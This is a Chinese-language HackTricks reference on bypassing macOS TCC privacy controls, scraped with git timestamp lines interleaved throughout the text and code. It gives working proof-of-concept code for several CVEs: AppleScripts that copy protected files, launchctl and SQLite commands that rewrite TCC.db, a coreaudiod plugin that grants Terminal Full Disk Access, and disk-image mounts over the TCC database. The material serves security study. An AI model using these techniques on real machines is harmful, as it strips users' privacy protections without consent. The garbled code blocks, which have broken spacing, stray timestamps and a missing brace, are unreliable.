2023-08-03 19:12:22 +00:00
# macOS TCC绕过
2023-06-13 16:23:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 推特 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 YouTube 🎥< / strong > < / a > < / summary >
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram群组** ](https://t.me/peass ) 或 **关注**我在**Twitter**上的[** 🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2023-06-13 16:23:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
## 按功能分类
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### 写入绕过
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
这不是一个绕过, 这只是TCC的工作原理: **它不会阻止写入操作**。如果终端**无法读取用户的桌面,它仍然可以写入其中**:
2023-06-13 16:23:33 +00:00
```shell-session
2023-08-03 19:12:22 +00:00
username@hostname ~ % ls Desktop
2023-06-13 16:23:33 +00:00
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
2023-08-03 19:12:22 +00:00
**扩展属性`com.apple.macl`**被添加到新的**文件**中,以使**创建者的应用程序**能够访问它。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### SSH绕过
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
默认情况下,通过**SSH**访问将具有**"完全磁盘访问"**权限。为了禁用此权限,您需要将其列出但禁用(从列表中删除不会删除这些权限):
2023-06-13 16:23:33 +00:00
![](< .. / . . / . . / . . / . gitbook / assets / image ( 569 ) . png > )
2023-08-03 19:12:22 +00:00
在这里,您可以找到一些**恶意软件如何绕过此保护**的示例:
2023-06-13 16:23:33 +00:00
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/ ](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/ )
2023-06-14 17:31:12 +00:00
{% hint style="danger" %}
2023-08-03 19:12:22 +00:00
请注意, 现在为了能够启用SSH, 您需要**完全磁盘访问**权限
2023-06-14 17:31:12 +00:00
{% endhint %}
2023-08-03 19:12:22 +00:00
### 处理扩展名 - CVE-2022-26767
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
属性**`com.apple.macl`**被赋予文件以赋予**某个应用程序读取它的权限**。当用户通过**拖放**文件到应用程序上或者双击文件以使用**默认应用程序**打开它时,将设置此属性。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
因此,用户可以**注册一个恶意应用程序**来处理所有扩展名,并调用启动服务来**打开**任何文件(因此恶意文件将被授予读取权限)。
2023-06-13 16:23:33 +00:00
2023-06-14 00:31:26 +00:00
### iCloud
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
使用权限**`com.apple.private.icloud-account-access`**可以与**`com.apple.iCloudHelper`** XPC服务进行通信, 该服务将**提供iCloud令牌**。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
**iMovie**和**Garageband**具有此权限以及其他权限。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
有关从该权限中获取iCloud令牌的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
2023-06-16 00:05:01 +00:00
2023-06-13 16:23:33 +00:00
### kTCCServiceAppleEvents / Automation
2023-08-03 19:12:22 +00:00
具有**`kTCCServiceAppleEvents`**权限的应用程序将能够**控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
有关Apple脚本的更多信息, 请查看:
2023-06-13 16:23:33 +00:00
{% content-ref url="macos-apple-scripts.md" %}
[macos-apple-scripts.md ](macos-apple-scripts.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
例如,如果一个应用程序具有对`iTerm`的**自动化权限**,例如在此示例中**`Terminal`**具有对iTerm的访问权限:
2023-06-13 16:23:33 +00:00
< figure > < img src = "../../../../.gitbook/assets/image (2) (2) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-08-03 19:12:22 +00:00
#### 在iTerm上
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
没有FDA的Terminal可以调用具有FDA的iTerm, 并使用它执行操作:
2023-06-13 16:23:33 +00:00
{% code title="iterm.script" %}
```applescript
tell application "iTerm"
2023-08-03 19:12:22 +00:00
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
2023-06-13 16:23:33 +00:00
end tell
```
{% endcode %}
```bash
osascript iterm.script
```
2023-08-03 19:12:22 +00:00
#### 通过Finder
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
或者, 如果一个应用程序在Finder上具有访问权限, 它可以使用以下脚本之一:
2023-06-13 16:23:33 +00:00
```applescript
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
```
2023-08-03 19:12:22 +00:00
## 通过应用行为
2023-06-13 16:23:33 +00:00
### CVE-2020– 9934 - TCC <a href="#c19b" id="c19b"></a>
2023-08-03 19:12:22 +00:00
用户空间的 **tccd 守护进程** 使用 ** `HOME` ** **env** 变量来访问 TCC 用户数据库:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
根据[这个 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)和因为 TCC 守护进程是通过 `launchd` 在当前用户域中运行的,可以**控制传递给它的所有环境变量**。\
因此,攻击者可以在 ** `launchctl` ** 中设置 `$HOME` 环境变量,指向一个**受控的目录**,然后**重新启动** TCC 守护进程,然后直接修改 TCC 数据库,以获取自己所需的**所有 TCC 权限**,而无需提示最终用户。\
2023-06-13 16:23:33 +00:00
PoC:
```bash
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
2023-08-03 19:12:22 +00:00
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
2023-06-13 16:23:33 +00:00
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd & & launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
2023-08-03 19:12:22 +00:00
$> sqlite3 TCC.db .dump
2023-06-13 16:23:33 +00:00
$> sqlite3 TCC.db "INSERT INTO access
2023-08-03 19:12:22 +00:00
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
2023-06-13 16:23:33 +00:00
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
2023-08-03 19:12:22 +00:00
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
2023-06-13 16:23:33 +00:00
# list Documents directory without prompting the end user
$> ls ~/Documents
```
2023-08-03 19:12:22 +00:00
### CVE-2021-30761 - 笔记
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
笔记可以访问 TCC 保护的位置,但是当创建笔记时,它会被创建在一个非受保护的位置。因此,你可以要求笔记将受保护的文件复制到一个笔记中(即非受保护的位置),然后访问该文件:
2023-06-13 16:23:33 +00:00
2023-06-17 14:26:50 +00:00
< figure > < img src = "../../../../.gitbook/assets/image (6).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### CVE-2021-XXXX - 迁移
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
二进制文件 `/usr/libexec/lsd` 与库 `libsecurity_translocate` 具有权限 `com.apple.private.nullfs_allow` ,允许其创建 **nullfs** 挂载,并具有权限 `com.apple.private.tcc.allow` 与 ** `kTCCServiceSystemPolicyAllFiles` ** 以访问所有文件。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
可以将隔离属性添加到 "Library",调用 ** `com.apple.security.translocation` ** XPC 服务,然后它将将 Library 映射到 ** `$TMPDIR/AppTranslocation/d/d/Library` **,从而可以访问 Library 中的所有文档。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### SQL 跟踪
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
如果环境变量 ** `SQLITE_AUTO_TRACE` ** 被设置,库 ** `libsqlite3.dylib` ** 将开始记录所有的 SQL 查询。许多应用程序使用此库,因此可以记录它们的所有 SQLite 查询。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
几个 Apple 应用程序使用此库来访问 TCC 保护的信息。
2023-06-13 16:23:33 +00:00
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
2023-08-03 19:12:22 +00:00
### Apple远程桌面
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
作为root用户, 您可以启用此服务, 并且ARD代理将具有完全磁盘访问权限, 用户可以滥用此权限使其复制新的TCC用户数据库。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
## 通过插件
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
插件是额外的代码, 通常以库或plist的形式存在, 它们将由主应用程序加载并在其上下文中执行。因此, 如果主应用程序可以访问TCC受限文件( 通过授予权限或授予的权限) , 则自定义代码也将具有相同的访问权限。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### CVE-2020-27937 - 目录实用工具
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
应用程序`/System/Library/CoreServices/Applications/Directory Utility.app`具有权限`kTCCServiceSystemPolicySysAdminFiles`,加载了扩展名为`.daplug`的插件,并且没有启用强化运行时。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
为了利用此CVE, 滥用先前的权限, 将`NFSHomeDirectory`更改为能够接管用户的TCC数据库以绕过TCC。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
有关更多信息,请查看[原始报告](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
2023-06-13 16:23:33 +00:00
### CVE-2020-29621 - Coreaudiod
2023-08-03 19:12:22 +00:00
二进制文件`/usr/sbin/coreaudiod`具有权限`com.apple.security.cs.disable-library-validation`和`com.apple.private.tcc.manager`。第一个权限允许代码注入, 第二个权限允许其管理TCC。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
该二进制文件允许从文件夹`/Library/Audio/Plug-Ins/HAL`加载第三方插件。因此, 可以使用此PoC加载插件并滥用TCC权限:
2023-06-13 16:23:33 +00:00
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
2023-08-03 19:12:22 +00:00
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
2023-06-13 16:23:33 +00:00
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
2023-08-03 19:12:22 +00:00
add_tcc_entry();
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
NSLog(@"[+] Exploitation finished...");
exit(0);
```
有关更多信息,请查看[**原始报告**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)。
### 设备抽象层( DAL) 插件
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
通过Core Media I/O打开相机流的系统应用程序( 具有**`kTCCServiceCamera`**的应用程序)会在进程中加载位于`/Library/CoreMediaIO/Plug-Ins/DAL`中的这些插件( 不受SIP限制) 。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
只需在其中存储一个具有常见**构造函数**的库即可用于**注入代码**。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
几个Apple应用程序存在此漏洞。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
## 通过进程注入
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
有不同的技术可以在进程内注入代码并滥用其TCC权限:
2023-06-13 16:23:33 +00:00
{% content-ref url="../../macos-proces-abuse/" %}
[macos-proces-abuse ](../../macos-proces-abuse/ )
{% endcontent-ref %}
### Firefox
2023-08-03 19:12:22 +00:00
Firefox应用程序仍然存在漏洞, 具有`com.apple.security.cs.disable-library-validation`权限:
2023-06-13 16:23:33 +00:00
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2023-08-03 19:12:22 +00:00
< key > com.apple.security.cs.allow-unsigned-executable-memory< / key >
< true / >
< key > com.apple.security.cs.disable-library-validation< / key >
< true / >
< key > com.apple.security.device.audio-input< / key >
< true / >
< key > com.apple.security.device.camera< / key >
< true / >
< key > com.apple.security.personal-information.location< / key >
< true / >
< key > com.apple.security.smartcard< / key >
< true / >
2023-06-13 16:23:33 +00:00
< / dict >
< / plist >
```
2023-08-03 19:12:22 +00:00
有关如何轻松利用此漏洞的更多信息,请查看[**原始报告**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
2023-06-13 16:23:33 +00:00
### CVE-2020-10006
2023-08-03 19:12:22 +00:00
二进制文件`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`具有权限**`com.apple.private.tcc.allow`**和**`com.apple.security.get-task-allow`**, 允许在进程内注入代码并使用TCC权限。
2023-06-13 16:23:33 +00:00
### CVE-2023-26818 - Telegram
2023-08-03 19:12:22 +00:00
Telegram具有权限`com.apple.security.cs.allow-dyld-environment-variables`和`com.apple.security.cs.disable-library-validation`,因此可以滥用它以获取其权限,例如使用摄像头进行录制。您可以在[**写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
## 通过打开调用
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
可以在受沙盒限制的环境中调用打开。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### 终端脚本
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
通常会为终端授予**完全磁盘访问权限( FDA) **,至少在技术人员使用的计算机上是如此。可以使用它来调用**`.terminal`**脚本。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
**`.terminal`**脚本是plist文件, 其中包含要在**`CommandString`**键中执行的命令:
2023-06-13 16:23:33 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> < plist version = "1.0" >
< dict >
2023-08-03 19:12:22 +00:00
< key > CommandString< / key >
< string > cp ~/Desktop/private.txt /tmp/;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-06-13 16:23:33 +00:00
< / dict >
< / plist >
```
2023-08-03 19:12:22 +00:00
应用程序可以在/tmp等位置编写一个终端脚本, 并使用如下命令启动它:
2023-06-13 16:23:33 +00:00
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
```
2023-08-03 19:12:22 +00:00
## 通过挂载
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### CVE-2020-9771 - mount\_apfs TCC绕过和权限提升
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
**任何用户**(即使是非特权用户)都可以创建和挂载时间机器快照,并**访问该快照的所有文件**。\
唯一需要的特权是所使用的应用程序(如`Terminal`)需要具有**完全磁盘访问权限**( FDA) ( `kTCCServiceSystemPolicyAllfiles`),这需要由管理员授予。
2023-06-13 16:23:33 +00:00
{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
2023-08-03 19:12:22 +00:00
更详细的解释可以在[原始报告中找到](https://theevilbit.github.io/posts/cve\_2020\_9771/)。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### CVE-2021-1784和CVE-2021-30808 - 在TCC文件上挂载
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
即使TCC DB文件受到保护, 仍然可以在目录上**挂载一个新的TCC.db文件**:
2023-06-13 16:23:33 +00:00
{% code overflow="wrap" %}
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
```
{% endcode %}
```python
# This was the python function to create the dmg
def create_dmg():
2023-08-03 19:12:22 +00:00
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
2023-06-13 16:23:33 +00:00
```
2023-08-03 19:12:22 +00:00
查看[原始文档](https://theevilbit.github.io/posts/cve-2021-30808/)中的**完整利用**。
2023-06-13 16:23:33 +00:00
### asr
2023-08-03 19:12:22 +00:00
工具**`/usr/sbin/asr`**允许复制整个磁盘并将其挂载到另一个位置, 绕过TCC保护。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
### 位置服务
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库, 用于指示允许**访问位置服务**的客户端。\
文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**, 因此可以挂载我们自己的plist。
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
## 通过启动应用程序
2023-06-13 16:23:33 +00:00
{% content-ref url="../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md ](../../../macos-auto-start-locations.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
## 通过grep
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
在许多情况下, 文件会将敏感信息( 如电子邮件、电话号码、消息等) 存储在未受保护的位置( 这在Apple中被视为漏洞) 。
2023-06-13 16:23:33 +00:00
2023-07-31 15:59:11 +00:00
< figure > < img src = "../../../../.gitbook/assets/image (4) (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-06-13 16:23:33 +00:00
2023-08-03 19:12:22 +00:00
## 参考
2023-06-13 16:23:33 +00:00
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8** ](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8 )
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/** ](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/ )
* [**20+ Ways to Bypass Your macOS Privacy Mechanisms** ](https://www.youtube.com/watch?v=W9GxnP8c8FU )
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms** ](https://www.youtube.com/watch?v=a9hsxPdRxsY )
< details >
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2023-06-13 16:23:33 +00:00
< / details >